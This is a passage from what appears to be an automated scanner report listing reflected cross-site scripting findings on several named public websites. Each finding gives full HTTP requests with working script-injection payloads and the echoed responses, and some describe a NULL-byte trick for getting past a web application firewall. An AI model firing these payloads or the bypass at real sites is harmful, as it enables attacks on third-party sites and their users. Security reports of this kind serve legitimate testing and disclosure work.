This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/Ultimate_College_Softball_5898982.html?5b11b"><script>alert(1)</script>5da4301906=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:10:49 GMT Server: Apache Expires: Thu, 03 Feb 2011 13:10:50 +0000 Cache-Control: no-store, max-age=21600 Pragma: Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a href="http://boardreader.com/site/Ultimate_College_Softball_5898982.html?5b11b"><script>alert(1)</script>5da4301906=1" title="Ultimate College Softball | Site Profile"> ...[SNIP]...
4.121. http://boardreader.com/site/mntdiat_mai_aigi_7486781.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://boardreader.com
Path:
/site/mntdiat_mai_aigi_7486781.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3e1ca"><script>alert(1)</script>c60cedb11b4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /site/mntdiat_mai_aigi_7486781.html?3e1ca"><script>alert(1)</script>c60cedb11b4=1 HTTP/1.1 Host: boardreader.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=69622787.1296677346.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/43|utmcmd=referral; PHPSESSID=uuhtplkaiu2jk4296c5eo0e3e1; __utma=69622787.1197951510.1296677341.1296677341.1296677341.1; __utmc=69622787; human_user=true; __utmb=69622787;
Response
HTTP/1.0 200 OK Date: Thu, 03 Feb 2011 07:13:01 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding Content-Type: text/html; charset=UTF-8 Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="shortcut ...[SNIP]... <a href="http://boardreader.com/site/mntdiat_mai_aigi_7486781.html?3e1ca"><script>alert(1)</script>c60cedb11b4=1" title=".............. ...... ........ | Site Profile"> ...[SNIP]...
4.122. http://consumershealthyliving.com/clinical-study.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://consumershealthyliving.com
Path:
/clinical-study.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15882"><a>3a9ae0f5291 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /clinical-study.html?15882"><a>3a9ae0f5291=1 HTTP/1.1 Host: consumershealthyliving.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 01 Feb 2011 15:31:26 GMT Server: Apache X-Powered-By: PHP/5.2.16 P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: af0de5e19d0aeec9236a3a01ce912df8=n0799snp41r1h1s86rdk7kmg30; path=/ Last-Modified: Tue, 01 Feb 2011 15:31:26 GMT Vary: Accept-Encoding Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 25570
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" > ...[SNIP]... <a href="http://consumershealthyliving.com/clinical-study.html?15882"><a>3a9ae0f5291=1&fontstyle=f-larger" title="Increase Font Size" class="large"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload %0082f2d<a>e2e94140c60 was submitted in the REST URL parameter 1. This input was echoed as 82f2d<a>e2e94140c60 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /weblog%0082f2d<a>e2e94140c60/2006/06/again/ HTTP/1.1 Host: dean.edwards.name Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 01 Feb 2011 15:33:00 GMT Server: Apache/2.2.6 (Win32) PHP/5.2.5 X-Powered-By: PHP/5.2.5 Vary: Accept-Encoding Content-Length: 1644 Connection: close Content-Type: text/html; charset=utf-8
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload %00b5fd5"><script>alert(1)</script>73be2182441 was submitted in the REST URL parameter 1. This input was echoed as b5fd5"><script>alert(1)</script>73be2182441 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) anywhere before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request
GET /weblog%00b5fd5"><script>alert(1)</script>73be2182441/2006/06/again/ HTTP/1.1 Host: dean.edwards.name Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 01 Feb 2011 15:32:59 GMT Server: Apache/2.2.6 (Win32) PHP/5.2.5 X-Powered-By: PHP/5.2.5 Vary: Accept-Encoding Content-Length: 1790 Connection: close Content-Type: text/html; charset=utf-8
The value of REST URL parameter 4 is copied into the HTML document as plain text between tags. The payload 269cf<a>57679d84bdc was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /weblog/2006/06/again269cf<a>57679d84bdc/ HTTP/1.1 Host: dean.edwards.name Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Tue, 01 Feb 2011 15:33:37 GMT Server: Apache/2.2.6 (Win32) PHP/5.2.5 X-Powered-By: PHP/5.2.5 X-Pingback: http://dean.edwards.name/weblog/xmlrpc.php Expires: Tue, 01 Feb 2011 15:33:37 GMT Last-Modified: Tue, 01 Feb 2011 15:33:37 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Vary: Accept-Encoding Content-Length: 1352 Connection: close Content-Type: text/html; charset=UTF-8
4.126. http://dean.edwards.name/weblog/2006/06/again/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://dean.edwards.name
Path:
/weblog/2006/06/again/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b483d"><script>alert(1)</script>e257170cefc was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as b483d\"><script>alert(1)</script>e257170cefc in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /weblog/2006/06/again/?b483d"><script>alert(1)</script>e257170cefc=1 HTTP/1.1 Host: dean.edwards.name Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 592e2<script>alert(1)</script>9fd54abbf1d was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /red/psi/p.json?callback=_ate.ad.hpr592e2<script>alert(1)</script>9fd54abbf1d HTTP/1.1 Host: ds.addthis.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 311 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Tue, 01 Feb 2011 15:32:28 GMT; Path=/ Set-Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; Domain=.addthis.com; Expires=Mon, 02 May 2011 15:32:28 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Thu, 03 Mar 2011 15:32:28 GMT; Path=/ Set-Cookie: di=%7B%7D..1296574348.19F|1296574348.19A; Domain=.addthis.com; Expires=Thu, 31-Jan-2013 04:49:40 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Tue, 01 Feb 2011 15:32:28 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Tue, 01 Feb 2011 15:32:28 GMT Connection: close
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 1cee6<script>alert(1)</script>ded05b5064d was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /red/psi/sites/www.ehow.com/p.json?callback=_ate.ad.hpr1cee6<script>alert(1)</script>ded05b5064d&uid=4d1ec56b7612a62c&url=http%3A%2F%2Fwww.ehow.com%2Fcomputer-software%2F&ref=http%3A%2F%2Fburp%2Fshow%2F4&o1jt6o HTTP/1.1 Host: ds.addthis.com Proxy-Connection: keep-alive Referer: http://s7.addthis.com/static/r07/sh30.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: loc=US%2CMjAwMDFOQVVTREMyMTg4MTAyOTUxMTAwMDAwVg%3d%3d; dt=X; di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295452270.19F|1296507257.60|1293848200.66; psc=4; uid=4d1ec56b7612a62c
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Content-Length: 290 Content-Type: text/javascript Set-Cookie: bt=; Domain=.addthis.com; Expires=Wed, 02 Feb 2011 15:32:00 GMT; Path=/ Set-Cookie: dt=X; Domain=.addthis.com; Expires=Fri, 04 Mar 2011 15:32:00 GMT; Path=/ Set-Cookie: di=%7B%222%22%3A%22914803576615380%2CrcHW800iZiMAAocf%22%7D..1295452270.19F|1296660720.60|1293848200.66; Domain=.addthis.com; Expires=Fri, 01-Feb-2013 11:36:19 GMT; Path=/ P3P: policyref="/w3c/p3p.xml", CP="NON ADM OUR DEV IND COM STA" Expires: Wed, 02 Feb 2011 15:32:00 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 02 Feb 2011 15:32:00 GMT Connection: close
The value of the jsoncallback request parameter is copied into the HTML document as plain text between tags. The payload c49f0<script>alert(1)</script>f5a6d19584e was submitted in the jsoncallback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /data/service-calendar.json?widget_query=true&zipcode=All&year=2009&month=10&day=12&max=4&widget_category_id=0&widget_category=All&jsoncallback=jsonp1255386312275c49f0<script>alert(1)</script>f5a6d19584e&_=1255386319932 HTTP/1.1 Host: gocitykids.parentsconnect.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache/2.0.63 (Unix) mod_jk/1.2.27 Content-Language: en Content-Type: text/json;charset=UTF-8 Content-Length: 20190 Date: Wed, 02 Feb 2011 19:21:09 GMT Connection: close
jsonp1255386312275c49f0<script>alert(1)</script>f5a6d19584e( [{"id":"211700","name":"Groundhog Day (PG)","attractionAlias":"the-colonial-theatre-227-bridge-street-phoenixville-pa-19460-3449-us","phone":"610.917.0223; 610.917.1228","url":"http://www.thecoloni ...[SNIP]...
4.130. http://it.toolbox.com/blogs/database-soup [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/database-soup
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e9deb'-alert(1)-'530e4bffa2c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/database-soup?e9deb'-alert(1)-'530e4bffa2c=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 61209 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:42 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Database So ...[SNIP]... aBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3ddatabase-soup%26e9deb'-alert(1)-'530e4bffa2c%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.131. http://it.toolbox.com/blogs/database-talk [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/database-talk
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e9726'-alert(1)-'362cf24ba31 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/database-talk?e9726'-alert(1)-'362cf24ba31=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 63475 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:40 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Database Ta ...[SNIP]... aBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3ddatabase-talk%26e9726'-alert(1)-'362cf24ba31%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.132. http://it.toolbox.com/blogs/db2luw [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/db2luw
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 29327'-alert(1)-'14b42306d5d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/db2luw?29327'-alert(1)-'14b42306d5d=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 62990 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:39 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> An Expert's ...[SNIP]... r != ctaBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3ddb2luw%2629327'-alert(1)-'14b42306d5d%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.133. http://it.toolbox.com/blogs/db2zos [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/db2zos
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2553e'-alert(1)-'a0a7b564b7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/db2zos?2553e'-alert(1)-'a0a7b564b7=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 78368 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:39 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Getting the ...[SNIP]... r != ctaBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3ddb2zos%262553e'-alert(1)-'a0a7b564b7%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.134. http://it.toolbox.com/blogs/elsua [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/elsua
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f3acb'-alert(1)-'93981464ca0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/elsua?f3acb'-alert(1)-'93981464ca0=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 64515 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:40 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> elsua: The ...[SNIP]... er != ctaBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3delsua%26f3acb'-alert(1)-'93981464ca0%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.135. http://it.toolbox.com/blogs/juice-analytics [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/juice-analytics
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 79855'-alert(1)-'e9a3a93587c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/juice-analytics?79855'-alert(1)-'e9a3a93587c=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 61934 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:41 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Juice Analy ...[SNIP]... tnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3djuice-analytics%2679855'-alert(1)-'e9a3a93587c%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.136. http://it.toolbox.com/blogs/minimalit [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/minimalit
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 3719a'-alert(1)-'3be2065b10e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/minimalit?3719a'-alert(1)-'3be2065b10e=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 60105 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:42 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Minimal IT: ...[SNIP]... = ctaBtnClicked) { ctaBtnClicked = sender; ctaDtClicked = new Date(); var myUrl = 'http%3a%2f%2fit.toolbox.com%2fblogs%2fBlogMain.aspx%3fslug%3dminimalit%263719a'-alert(1)-'3be2065b10e%3d1'; ckUrl = 'http://it.toolbox.com/api/ctatools/CreateCookie.aspx?CTAPage=' + myUrl + '&CTA=' + ctaName;
document.getElementById('ctaimage').src = ckUrl;
...[SNIP]...
4.137. http://it.toolbox.com/blogs/penguinista-databasiensis [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/penguinista-databasiensis
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2f871'-alert(1)-'61cc9848b43 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/penguinista-databasiensis?2f871'-alert(1)-'61cc9848b43=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 46117 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:40 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" > <head><title> Penguinista ...[SNIP]...
4.138. http://it.toolbox.com/blogs/ppmtoday [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://it.toolbox.com
Path:
/blogs/ppmtoday
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1f740'-alert(1)-'6ebdefa1aa5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /blogs/ppmtoday?1f740'-alert(1)-'6ebdefa1aa5=1 HTTP/1.1 Host: it.toolbox.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 63708 Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 2.0.50727 X-Powered-By: ASP.NET Date: Tue, 01 Feb 2011 14:26:39 GMT Connection: close
